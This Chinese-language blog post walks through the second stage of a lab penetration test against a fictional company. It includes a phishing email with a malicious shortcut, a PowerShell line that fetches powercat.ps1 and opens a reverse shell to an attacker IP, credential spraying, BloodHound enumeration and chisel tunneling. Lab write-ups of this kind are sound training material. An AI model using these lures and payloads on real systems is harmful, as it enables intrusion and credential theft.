BEYOND 公司之滲透測試(2) - 進入內部網路
BEYOND 公司之滲透測試(2)
進入內部網路
讓我們先更新一下使用者檔案與密碼檔以及已經知道的憑證(加上備註說明)
第二階段一開始的目標放在 MAILSRV1(242) 伺服器上,由於在第一階段已經拿到三個使用者帳號
└─$ crackmapexec smb 192.168.233.242 -u usernames.txt -p passwords.txt --continue-on-success
除了獲得 john:dqsTwTpZPn#nL 是有效的帳號密碼外 crackmapexec 同時辨識出了網域名稱
beyond.com,唯一可惜的是 John 不是 MAILSRV1 的管理者
下一步列舉看看現有的 SMB 分享的資料匣,已知該帳號是網域帳號所以加上 -d 參數指定網域
指令 crackmapexec smb 192.168.233.242 -u john -p "dqsTwTpZPn#nL" -d beyond.com --shares
看來都是預設的路徑沒有甚麼特別的,表示這又是一條死路
由於它是一台 Mail Server,所以下一步可以試試看準備一封帶有惡意附件的電子郵件並將其發送給 daniela 和 marcus,由之前的練習章節主要討論了兩種用戶端攻擊技術:包含巨集的 Microsoft Office 文件以及與捷徑檔案結合的 Windows 程式庫檔案。 由於我們沒有有關內部電腦或基礎設施的任何信息,因此我們將選擇第二種技術,因為 Microsoft Office 可能未安裝在任何目標系統上。 對於此攻擊,我們必須設定一個 WebDAV 伺服器、一個 Python3 Web 伺服器、一個 Netcat 偵聽器,並準備 Windows 程式庫和捷徑檔案,之前的練習參考下列連結 :
濫用 Windows 庫文件 : https://your-it-note.blogspot.com/2023/08/windows-library-file.html
客戶端攻擊 : https://your-it-note.blogspot.com/2023/08/client-side-attack.html
先建立 WebDAV 共享目錄與跑在 80 Port,指定匿名直接存取
指令 : /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
跳錯誤訊息 zsh: no such file or directory: /home/kali/.local/bin/wsgidav
這是因為現有 kali 尚未安裝 wsgidav,所以先執行 pip3 install wsgidav 然後再跑一次
先在 /home/kali/beyond/webdav 路徑下建立一個 test.txt 內容是 "WebDAV !!"
測試一下 http://127.0.0.1 確認 WebDAV 有正常 Listen 在 80 Port 上,test.txt 檔案也有
LAB 準備了一台 Windows Client(250) 讓我們編輯 Windows 程式庫
└─$ xfreerdp /u:offsec /p:lab /v:192.168.233.250 /drive:aries,/home/kali/beyond
另存新檔至桌面並取名為 config.Library-ms,點兩下測試一下確認可以看到 test.txt 就沒問題了
不要忘記一旦點開後內容會改變,所以測試完要重新修正
然後將檔案傳回我們的 kali 以便接下來寄信當作附件使用
接著一樣依據之前的練習 https://your-it-note.blogspot.com/2023/08/windows-library-file.html
建立一個看似無害的短捷徑 Shortcut,內容下載 powercat.ps1 Payload 然後執行 Reverse Shell
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.176:8000/powercat.ps1'); powercat -c 192.168.45.176 -p 4444 -e powershell"
取名叫 automatic_configuration,一樣傳回我們的 kali 機器放置在 WebDAV 的目錄下
記得要移除一開始測試的 test.txt 檔案
因為我們已經有了 john 的帳號與密碼,所以將會使用 john 的名義寄送郵件給 daniela & marcus
所以要寫一封看似正經的郵件內文如下,並取名為 body.txt
Hey!
I checked WEBSRV1 and discovered that the previously used staging script still exists in the Git logs. I'll remove it for security reasons.
On an unrelated note, please install the new security features on your workstation. For this, download the attached file, double-click on it, and execute the configuration shortcut within. Thanks!
John
一樣使用之前學過的 swaks 寄送郵件,指令如下
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.233.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
看到 8000 Port 的 HTTP Server 有來抓 powercat.ps1 了
Reverse Shell 4444 也進來了,whoami 看一下是 marcus 並且 Client 是 CLIENTWK1
IP 是 172.16.119.243,這看來是從內網透過 MAILSRV1(充當 Proxy 進來的)
至此我們在在內網中獲得了初步立足點
========================================================================
到了新環境,第一步就是探索內部網路環境,接下來要使用的工具是 winPEASx64.exe
在此章節有練習過 : https://your-it-note.blogspot.com/2023/09/windows.html
此檔案在第一階段有安裝 peass 時,在 kali 即有該檔案
路徑在 /usr/share/peass/winpeas/winPEASx64.exe ( PS : Linux 自動列舉時我們是用 linpeas.sh)
所以將檔案 COPY 到 /home/kali/beyond 路徑下
└─$ cp /usr/share/peass/winpeas/winPEASx64.exe .
然後在剛剛內網的初步立足點下載此檔案然後執行 .\winPEAS.exe
記得要先切換路徑到使用者的 user profile 才不會造成下載失敗
iwr -uri http://192.168.45.176:8000/beyond/winPEASx64.exe -Outfile winPEAS.exe
開始列舉,第一個作業系統 ProductName: Windows 10 Pro
但常常會將 Windows 11 判斷成 Windows 10 Pro,透過 systeminfo 確認發現是 Windows 11
防毒軟體資訊發現 Windows Defender,看來要運行 mimikatz 是不太可能的
看一下網路與 ARP 相關資訊,有助於發現其他機器
DNS Cache 資訊如下,看來 Mail Server 有一隻內網的腳 172.16.119.254
然後另一台名稱叫做 dcsrv1.beyond.com 看來是網域控制站,IP 是 172.16.119.240
將主機資訊紀錄在另外一個檔案,取名為 computer.txt (這裡不用 s 複數,我猜是作者忘了)
由於這是一台加入網域的機器加上我們的目標是獲取網域管理員的權限
所以一樣透過之前所學來列舉 AD,將使用工具 BloodHound 和 SharpHound.ps1
參考連結 : https://your-it-note.blogspot.com/2023/11/active-directory_6.html
SharpHound.ps1 位於 kali 上的 /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
然後 Client 上下載 iwr -uri http://192.168.45.176:8000/SharpHound.ps1 -Outfile SharpHound.ps1
記得要先 powershell -ep bypass,然後匯入 import-module .\SharpHound.ps1 或 . .\SharpHound.ps1
接著收集所有資訊 Invoke-BloodHound -CollectionMethod All
如果這裡用的不是另外建立的 nc.exe 搭建的 8888 Reverse Shell 而是跑在 powercat.ps1 建立的 Reverse shell,那會跑到天荒地老
跑完後預設的 zip 檔案傳回 Kali 並開啟 BloodHound 進行 AD 解析
kali 先建立 SMB 分享資料夾 test
impacket-smbserver test . -smb2support -username kali1234 -password kali1234
Client Mount 一個 M:\ 磁碟機,指令 net use m: \\192.168.45.217\test /user:kali1234 kali1234
COPY zip 檔案到 m:\
搜尋使用 "MATCH (m:Computer) RETURN m" 得到四台網域電腦如下
DCSRV1.BEYOND.COM - Windows Server 2022 Standard
INTERNALSRV1.BEYOND.COM - Windows Server 2022 Standard
MAILSRV1.BEYOND.COM - Windows Server 2022 Standard
CLIENTWK1.BEYOND.COM - Windows 11 Pro
除了原本的三台主機,這一次多找到了一台主機 INTERNALSRV1
nslookup INTERNALSRV1.beyond.com 查看後它的 IP 是 172.16.119.241
隨時記錄所有獲得的新紀錄是一項非常重要的程序,update computer.txt
Query 條件改成 MATCH (m:User) RETURN m,查看網域的相關使用者
除了 AD 預設帳號跟我們已知的三個帳號外,又查到一個使用者帳號 beccy
一樣養成良好的紀錄,更新 usernames.txt
點選 Find all Domain Admins 共有兩個,其中一個是剛剛新增的使用者 beccy
在真正的滲透測試中,我們還應該檢查域組和GPO。枚舉兩者通常是提升我們在網域中的權限或獲得對其他系統的存取權限的強大方法。對於此模擬滲透測試,我們將跳過這兩個枚舉步驟,因為它們對此環境沒有提供任何附加價值。
接下來,讓我們使用一些預先建立的查詢來尋找潛在的向量來提升我們的權限或獲得對其他系統的存取權。我們將執行以下預先建置的查詢:
- 尋找網域使用者可以使用 RDP 的工作站
- 尋找網域使用者可以使用 RDP 的伺服器
- 尋找網域使用者為本機管理員的計算機
- 從擁有的委託人到網域管理員的最短路徑
不幸的是,這些查詢都沒有傳回任何結果。這意味著 BloodHound 沒有識別網域使用者可以透過 RDP 登入的任何工作站或伺服器。
此外,網域使用者不是任何電腦物件的本機管理員。因此,我們沒有像 john 或 marcus 那樣對任何網域電腦的特權存取權。
最後, BloodHound 無法識別從擁有的使用者到網域管理員群組的直接路徑。
這些預先建立的查詢通常是一種快速且強大的方法,可以幫助我們識別容易實現的目標,從而提升我們的特權並獲得對其他系統的存取權限。因為 BloodHound 沒有為我們提供可操作的向量,所以我們不得不求助於其他方法
我們也可以使用 PowerView 或 LDAP 查詢來取得所有這些資訊。然而,在大多數滲透測試中,我們希望首先使用 BloodHound,因為其他方法的輸出可能會相當巨大。它是一種有效且強大的工具,可讓您在短時間內更深入地了解 Active Directory 環境。我們還可以使用原始或預先建立的查詢來識別高度複雜的攻擊向量並將其顯示在互動式圖形視圖中。
總結一下到目前為止我們所獲得的資訊。我們識別了四個電腦物件和四個使用者帳戶,並了解到 beccy 是 Domain Admins 群組的成員,使其成為高價值目標。此外,我們排除了一些可以讓我們存取其他系統或特權使用者的向量。
所以接著將 Query 條件修改為 MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
顯示 S-1-5-21-~ 這表示非網域帳號是該台機器的 local 帳號
接著用我們學過的 AD 攻擊技巧,列舉 Kerberoastable 帳號,看到 daniela
點 daniela --> Node Info --> SPN --> 發現 "http/internalsrv1.beyond.com"
下一步看來要朝向內部的 INTERNALSRV1 下手,但透過 Client 有裝防毒加上工具都要另外裝
最好的攻擊源還是 kali,所以下一步先來搭建通道,使用神器 chisel.exe
參考文章 : https://your-it-note.blogspot.com/2023/10/http-tunneling.html
kali 伺服器啟動 chisel Server 並跑在 8080 Port,指令 chisel server --port 8080 --reverse
下載到 Client,指令 iwr -uri http://192.168.45.176:8000/beyond/chisel.exe -Outfile chisel.exe
啟動 chisel client 並連接到 chisel 伺服器,用跟剛剛建 nc 一樣的 wmic 指令
指令 wmic process call create "C:\users\marcus\chisel.exe client 192.168.45.217:8080 R:socks"
kali 攻擊機上執行指令 └─$ ss -ntplu,確認當前的 socks 代理程式狀態 ( 1080 Port )
在 CLIENTWK1(172.16.119.243) 執行 netstat -an 看一下,確認我們現在有三個 Session
- nc-4444 : powercat.ps1 建立的連線
- nc-8888 : nc64.exe 建立的連線
- chisel-8080 : chisel client 建立的 Tunnel
現在已知有兩台我們未知的伺服器,已知名稱所以透過 ping 確認一下 IP
- dcsrv1.beyond.com : 172.16.119.240
- internalsrv1.beyond.com : 172.16.119.241
已經搭建好 chisel 與 socks 1080,看一下我們的 proxychain 設定是否是往 1080 Port 送
指令 cat /etc/proxychains4.conf,看來沒問題
所以接下來就可以直接使用相關的 proxychains 指令,讓我們使用目前唯一知道的帳號 john 對兩台伺服器以及 Mail Server 內部的 Interface 進行網路分享資料夾探勘
proxychains -q crackmapexec smb 172.16.119.240-241 172.16.119.254 -u john -d beyond.com -p "dqsTwTpZPn#nL" --shares
沒有管理者權限,分享的相關資料也沒啥鳥用,都是系統預設的分享
回到原點,所以重新開始列舉從 nmap 開始,這裡透過 proxychain 使用時要帶參數 -sT
參數 -sT 是指定使用 TCP,不然 nmap 無法在 proxychain 中使用
這次僅掃描常用的 Web Services Port 與 FTP Port,21 / 80 / 443
sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.119.240-241 172.16.119.254
前面有說過,攻擊發動最好的機器是 kali
現在我們的 kali chisel 1080 Port 轉到本機的 8080 Port 再到 CLIENTWK1
如果我們想要對 INTERNALSRV1(172.16.119.241) 80 Port 下手,最好的方式就是將
kali 本機的 chisel 80 Port 直接 mapping 到 INTERNALSRV1(172.16.119.241) 80 Port
所以我們先斷開原本的 CLIENTWK1 chisel 再重新連接與對應如下
指令 chisel.exe client 192.168.45.217:8080 R:80:172.16.119.241:80 (可以直接跑不用先呼叫 wmic)
之前使用 (wmic process call create "C:\users\marcus\chisel.exe client 192.168.45.217:8080 R:socks")
wmic 是背景執行,非常推薦使用,所以我們將指令改如下
wmic process call create "C:\users\marcus\chisel.exe client 192.168.45.217:8080 R:80:172.16.119.241:80"
PS : 記得要先停掉 kali 機器原本 Listen 在 80 Port 上的 WebDAV
開啟 http://127.0.0.1 會轉到 http://127.0.0.1/wrodpress/ 如下,看來是內部的 WordPress 站台
既然已經知道是 wordpress 加上之前有一組 WordPress 帳號密碼那就開啟 /wp-admin 登入頁面試試看吧,結果 GG,網址跳出了 http://internalsrv1.beyond.com,看來 code 寫死了
kali 本機的 hosts file 加上該筆名稱解析 127.0.0.1 internalsrv1.beyond.com
重新 refresh 一下網頁這時候可以打得開了,用我們之前拿到的 wordpress:DanielKeyboard3311
嘗試登入看看,結果是 GG.....測試了目前有的帳號與密碼組合也都 GG
第二階段到此告一段落,小節一下目前的狀況
首先,我們列舉了所有活動會話。有趣的是,網域管理員 beccy 在 MAILSRV1 上有一個活動會話但目前無法進入利用。接下來,我們根據 http/internalsrv1.beyond.com SPN 將 daniela 識別為 kerberoastable 用戶。 然後,我們使用 chisel 設定 SOCKS5 代理,並使用 CrackMapExec 和 Nmap 執行網路枚舉。輸出顯示 MAILSRV1 和 INTERNALSRV1 每個都有一個可存取的 Web 伺服器與 FTP 伺服器。透過 Chisel,我們能夠瀏覽到 INTERNALSRV1 上的 WordPress CMS。但是,所有憑證均無法登入 WordPress 登入頁面。
留言
張貼留言